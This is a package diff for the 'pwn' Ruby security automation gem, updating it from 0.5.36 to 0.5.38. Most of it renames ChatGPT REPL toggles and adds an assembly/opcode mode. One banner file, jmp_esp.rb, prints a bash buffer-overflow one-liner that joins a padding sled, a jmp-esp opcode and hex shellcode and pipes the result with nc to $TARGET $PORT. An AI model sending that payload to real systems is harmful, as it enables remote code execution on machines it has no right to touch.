pwn 0.5.36 → 0.5.38

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 7fc386dcce50c0d17eebb357f6b44360e451c00abf7bfc4178fbc24ff3413054
-  data.tar.gz: f561d8b9b85c4ada994325c264fad7535cbac380b711804037b013ea721faab8
+  metadata.gz: 043cac75f52a8e2a64ba1b777a07704fc28b0daf9f4831fd1c1aeadf389f3ecb
+  data.tar.gz: e73a12328734481a942d73f9c6433eaac6083a1e3b1d74912b3ad8a7e807fd62
 SHA512:
-  metadata.gz: 874c5b729cdc6fd42c3ae9fd8a7c1af238e4676ad06a5770e865096829992e90d87c58bf7f99bec0c84f4747dad5abb2d1177f005a537a73067da3394413fca0
-  data.tar.gz: 53df7f807a7aca90c853031ec0cbf708a4397bcf03125535cc98d9f14b15e376e1cc3f38843fc2179ac128e59365a07c64843a30e3132a2aa13f87f3e1165d59
+  metadata.gz: 76141206533675a93ee42feadec1b9d2aa4eeed42b17849b8159fb392309a03afd9c80cd5f223489177c70da8cb872947cca170ed4eb70af33342b1891334f67
+  data.tar.gz: fb4d824e8f10ed0e233cb8080b153c54d2298888dcd0147cdefd1d4700c2c7db890e834d590a41794ce6f567f4fa978f6c5ea6da087135a77c996a8e2c62a53e

data/README.md

@@ -37,7 +37,7 @@ $ cd /opt/pwn
 $ ./install.sh
 $ ./install.sh ruby-gem
 $ pwn
-pwn[v0.5.36]:001 >>> PWN.help
+pwn[v0.5.38]:001 >>> PWN.help
 ```
 
 [![Installing the pwn Security Automation Framework](https://raw.githubusercontent.com/0dayInc/pwn/master/documentation/pwn_install.png)](https://youtu.be/G7iLUY4FzsI)
@@ -52,7 +52,7 @@ $ rvm use ruby-3.3.0@pwn
 $ gem uninstall --all --executables pwn
 $ gem install --verbose pwn
 $ pwn
-pwn[v0.5.36]:001 >>> PWN.help
+pwn[v0.5.38]:001 >>> PWN.help
 ```
 
 If you're using a multi-user install of RVM do:
@@ -62,7 +62,7 @@ $ rvm use ruby-3.3.0@pwn
 $ rvmsudo gem uninstall --all --executables pwn
 $ rvmsudo gem install --verbose pwn
 $ pwn
-pwn[v0.5.36]:001 >>> PWN.help
+pwn[v0.5.38]:001 >>> PWN.help
 ```
 
 PWN periodically upgrades to the latest version of Ruby which is reflected in `/opt/pwn/.ruby-version`.  The easiest way to upgrade to the latest version of Ruby from a previous PWN installation is to run the following script:

data/bin/pwn

@@ -45,13 +45,21 @@ begin
       line_count = "\001\e[34m\002#{line_pad}\001\e[0m\002"
       dchars = "\001\e[32m\002>>>\001\e[0m\002"
       dchars = "\001\e[33m\002***\001\e[0m\002" if mode == :splat
-      if pi.config.chat_gpt
-        pi.config.prompt_name = 'chatGPT.pwn'
-        pi.config.prompt_name = 'SPEAKING.chatGPT.pwn' if pi.config.chat_gpt_speak
+
+      if pi.config.pwn_asm
+        pi.config.prompt_name = 'pwn.asm'
+        name = "\001\e[1m\002\001\e[37m\002#{pi.config.prompt_name}\001\e[0m\002"
+        dchars = "\001\e[32m\002>>>\001\e[37m\002"
+        dchars = "\001\e[33m\002***\001\e[37m\002" if mode == :splat
+      end
+
+      if pi.config.pwn_gpt
+        pi.config.prompt_name = 'pwn.gpt'
+        pi.config.prompt_name = 'pwn.gpt.SPEAKING' if pi.config.pwn_gpt_speak
         name = "\001\e[1m\002\001\e[33m\002#{pi.config.prompt_name}\001\e[0m\002"
         dchars = "\001\e[32m\002>>>\001\e[33m\002"
         dchars = "\001\e[33m\002***\001\e[33m\002" if mode == :splat
-        if pi.config.chat_gpt_debug
+        if pi.config.pwn_gpt_debug
           dchars = "\001\e[32m\002(DEBUG) >>>\001\e[33m\002"
           dchars = "\001\e[33m\002(DEBUG) ***\001\e[33m\002" if mode == :splat
         end
@@ -115,8 +123,8 @@ begin
       exec_hook :after_read, eval_string, self
 
       begin
-        complete_expr = true if config.chat_gpt
-        complete_expr = Pry::Code.complete_expression?(@eval_string) unless config.chat_gpt
+        complete_expr = true if config.pwn_gpt
+        complete_expr = Pry::Code.complete_expression?(@eval_string) unless config.pwn_gpt
       rescue SyntaxError => e
         output.puts e.message.gsub(/^.*syntax error, */, "SyntaxError: ")
         reset_eval_string
@@ -126,7 +134,7 @@ begin
         @suppress_output = true if @eval_string =~ /;\Z/ ||
                                    @eval_string.empty? ||
                                    @eval_string =~ /\A *#.*\n\z/ ||
-                                   config.chat_gpt
+                                   config.pwn_gpt
 
         # A bug in jruby makes java.lang.Exception not rescued by
         # `rescue Pry::RescuableException` clause.
@@ -168,9 +176,9 @@ begin
       throw(:breakout) if current_binding.nil?
     end
 
-    # Ensure the return value in chat_gpt mode reflects the input
+    # Ensure the return value in pwn_gpt mode reflects the input
     def evaluate_ruby(code)
-      if config.chat_gpt
+      if config.pwn_gpt || config.pwn_asm
         result = message = code.to_s
         return
       end
@@ -203,33 +211,45 @@ begin
     end
   end
 
-  Pry::Commands.create_command 'toggle-chatGPT' do
-    description "Interact w/ OpenAI's ChatGPT"
+  Pry::Commands.create_command 'toggle-pwn-asm' do
+    description 'Toggle pwn.asm interface.'
 
     def process
       pi = pry_instance
-      pi.config.chat_gpt ? pi.config.chat_gpt = false : pi.config.chat_gpt = true
+      pi.config.pwn_asm ? pi.config.pwn_asm = false : pi.config.pwn_asm = true
 
-      pi.config.color = false if pi.config.chat_gpt
-      pi.config.color = true unless pi.config.chat_gpt
+      pi.config.color = false if pi.config.pwn_asm
+      pi.config.color = true unless pi.config.pwn_asm
     end
   end
 
-  Pry::Commands.create_command 'toggle-chatGPT-debug' do
-    description "Display the response_history object while using OpenAI's ChatGPT."
+  Pry::Commands.create_command 'toggle-pwn-gpt' do
+    description 'Toggle pwn.gpt chat interface.'
 
     def process
       pi = pry_instance
-      pi.config.chat_gpt_debug ? pi.config.chat_gpt_debug = false : pi.config.chat_gpt_debug = true
+      pi.config.pwn_gpt ? pi.config.pwn_gpt = false : pi.config.pwn_gpt = true
+
+      pi.config.color = false if pi.config.pwn_gpt
+      pi.config.color = true unless pi.config.pwn_gpt
     end
   end
 
-  Pry::Commands.create_command 'toggle-chatGPT-speaks' do
-    description 'Use speech capabilities within PWN to speak OpenAI ChatGPT answers.'
+  Pry::Commands.create_command 'toggle-pwn-gpt-debug' do
+    description 'Display the response_history object while using pwn.gpt'
 
     def process
       pi = pry_instance
-      pi.config.chat_gpt_speak ? pi.config.chat_gpt_speak = false : pi.config.chat_gpt_speak = true
+      pi.config.pwn_gpt_debug ? pi.config.pwn_gpt_debug = false : pi.config.pwn_gpt_debug = true
+    end
+  end
+
+  Pry::Commands.create_command 'toggle-pwn-gpt-speaks' do
+    description 'Use speech capabilities within pwn.gpt to speak answers.'
+
+    def process
+      pi = pry_instance
+      pi.config.pwn_gpt_speak ? pi.config.pwn_gpt_speak = false : pi.config.pwn_gpt_speak = true
     end
   end
 
@@ -239,31 +259,44 @@ begin
     output.puts PWN::Banner.welcome
   end
 
-  # ChatGPT Hooks
+  # pwn.gpt Hooks
   Pry.config.hooks.add_hook(:before_session, :init_opts) do |_output, _binding, pi|
     if opts[:yaml_config_path] && File.exist?(opts[:yaml_config_path])
       yaml_config_path = opts[:yaml_config_path]
       yaml_config = YAML.load_file(yaml_config_path, symbolize_names: true)
-      pi.config.chat_gpt_key = yaml_config[:open_ai_key]
-      Pry.config.chat_gpt_key = pi.config.chat_gpt_key
+      pi.config.pwn_gpt_key = yaml_config[:open_ai_key]
+      Pry.config.pwn_gpt_key = pi.config.pwn_gpt_key
+    end
+  end
+
+  Pry.config.hooks.add_hook(:after_read, :pwn_asm_hook) do |request, pi|
+    if pi.config.pwn_asm && !request.chomp.empty?
+      request = pi.input.line_buffer
+      # Determine what request is and determine if it's asm or opcodes
+      if request =~ /^[a-fA-F0-9\s]+$/
+        response = PWN::Plugins::Assembly.opcodes_to_asm(opcodes: request)
+      else
+        response = PWN::Plugins::Assembly.asm_to_opcodes(asm: request)
+      end
+      puts "\n\n\n\001\e[31m\002#{response}\001\e[0m\002\n\n\n"
     end
   end
 
-  Pry.config.hooks.add_hook(:after_read, :open_ai_hook) do |request, pi|
-    if pi.config.chat_gpt && !request.chomp.empty?
+  Pry.config.hooks.add_hook(:after_read, :pwn_gpt_hook) do |request, pi|
+    if pi.config.pwn_gpt && !request.chomp.empty?
       request = pi.input.line_buffer
-      debug = pi.config.chat_gpt_debug
-      open_ai_key = pi.config.chat_gpt_key
+      debug = pi.config.pwn_gpt_debug
+      open_ai_key = pi.config.pwn_gpt_key
       open_ai_key ||= ''
       if open_ai_key.empty?
         open_ai_key = PWN::Plugins::AuthenticationHelper.mask_password(
           prompt: 'OpenAI API Key'
         )
-        pi.config.chat_gpt_key = open_ai_key
+        pi.config.pwn_gpt_key = open_ai_key
       end
 
-      response_history = pi.config.chat_gpt_response_history
-      speak_answer = pi.config.chat_gpt_speak
+      response_history = pi.config.pwn_gpt_response_history
+      speak_answer = pi.config.pwn_gpt_speak
       response = PWN::Plugins::OpenAI.chat(
         token: open_ai_key,
         request: request.chomp,
@@ -286,7 +319,7 @@ begin
         pp response_history
         puts "\nresponse_history[:choices] Length: #{response_history[:choices].length}\n" unless response_history.nil?
       end
-      pi.config.chat_gpt_response_history = response_history
+      pi.config.pwn_gpt_response_history = response_history
     end
   end
 

data/lib/pwn/banner/jmp_esp.rb

@@ -12,10 +12,10 @@ module PWN
       public_class_method def self.get
         '
         #!/bin/bash
-        nop=$(printf \'\x90%.0s\' {1..1337})
+        crash=$(printf \'\x90%.0s\' {1..1337})
         asm_ops=\'\xff\xe4\'
         sh_code=\'\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0c\x09\x11\xb5\x83\xeb\xfc\xe2\xf4\x3d\xd2\xe6\x56\x5f\x4a\x42\xdf\x0e\x80\xf0\x05\x6a\xc4\x91\xee\x52\x5b\x79\xb7\x0c\x0c\x28\xdf\x1c\x58\x41\x3c\xed\x63\x77\xed\xc1\x89\x98\xf4\x08\xba\x15\x05\x6a\xc4\x91\xf6\xbc\x6f\xdc\x35\x9f\x50\x7b\x8a\x54\xc4\x91\xfc\x75\xf1\x79\x9a\x23\x7a\x79\xdd\x23\x6b\x78\xdb\x85\xea\x41\xe6\x85\xe8\xa1\xbe\xc1\x89\x11\xb5\'
-        pwn="${nop}${asm_ops}${sh_code}"
+        pwn="${crash}${sh_code}${asm_ops}"
         echo -en $pwn | nc $TARGET $PORT
         '.red
       rescue StandardError => e

data/lib/pwn/banner/radare2.rb

@@ -11,15 +11,9 @@ module PWN
 
       public_class_method def self.get
         '
-        $ sudo r2 -d `pidof ${TARGET_BINARY}`
-        [0x7f000070776e]> aaaa
-        [0x7f000070776e]> ia ~..
-        [0x7f000070776e]> afl ~..
-        [0x7f000070776e]> db main
-        [0x7f000070776e]> db
-        [0x7f000070776e]> dc
-        [0x7f000070776e]> pdg
-        [0x7f000070776e]> v
+        $ target_arm_bin="/usr/bin/id";
+        $ alias r2="setarch $(uname -m) -R r2 -AA -c \"v /opt/pwn/third_party/r2-pwn-layout\""
+        $ r2 -c "db (0x`readelf -S $target_arm_bin | grep text | awk "{print $NF}"`)+0x4+0x00000328" -c "ood" -c "dc" -c "v" $target_arm_bin
         '.yellow
       rescue StandardError => e
         raise e

data/lib/pwn/plugins/assembly.rb

@@ -22,7 +22,7 @@ module PWN
 
         raise 'ERROR: opcodes parameter is required.' if opcodes.nil?
 
-        case arch
+        case arch.to_s.downcase
         when 'i386', 'i686', 'x86'
           arch_obj = Metasm::Ia32.new(endian)
         when 'amd64', 'x86_64'
@@ -82,7 +82,7 @@ module PWN
 
         raise 'ERROR: asm parameter is required.' if asm.nil?
 
-        case arch
+        case arch.to_s.downcase
         when 'i386', 'i686', 'x86'
           arch_obj = Metasm::Ia32.new(endian)
         when 'amd64', 'x86_64'

data/lib/pwn/version.rb

@@ -1,5 +1,5 @@
 # frozen_string_literal: true
 
 module PWN
-  VERSION = '0.5.36'
+  VERSION = '0.5.38'
 end

data/third_party/r2-pwn-layout

@@ -0,0 +1 @@
+{"Title":"Disassembly","Cmd":"pd","x":0,"y":1,"w":100,"h":38},{"Title":"Stack","Cmd":"pxq 256","x":0,"y":39,"w":100,"h":16},{"Title":"Hexdump","Cmd":"xc $r*16","x":0,"y":55,"w":100,"h":16},{"Title":"Registers","Cmd":"dr","x":100,"y":1,"w":35,"h":70},{"Title":"Function Calls","Cmd":"aflm","x":135,"y":1,"w":44,"h":70}

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: pwn
 version: !ruby/object:Gem::Version
-  version: 0.5.36
+  version: 0.5.38
 platform: ruby
 authors:
 - 0day Inc.
@@ -2185,6 +2185,7 @@ files:
 - spec/spec_helper.rb
 - third_party/.gitkeep
 - third_party/http-request-headers-fields-large.txt
+- third_party/r2-pwn-layout
 - update_pwn.sh
 - upgrade_ruby.sh
 - vagrant/provisioners/apache2.sh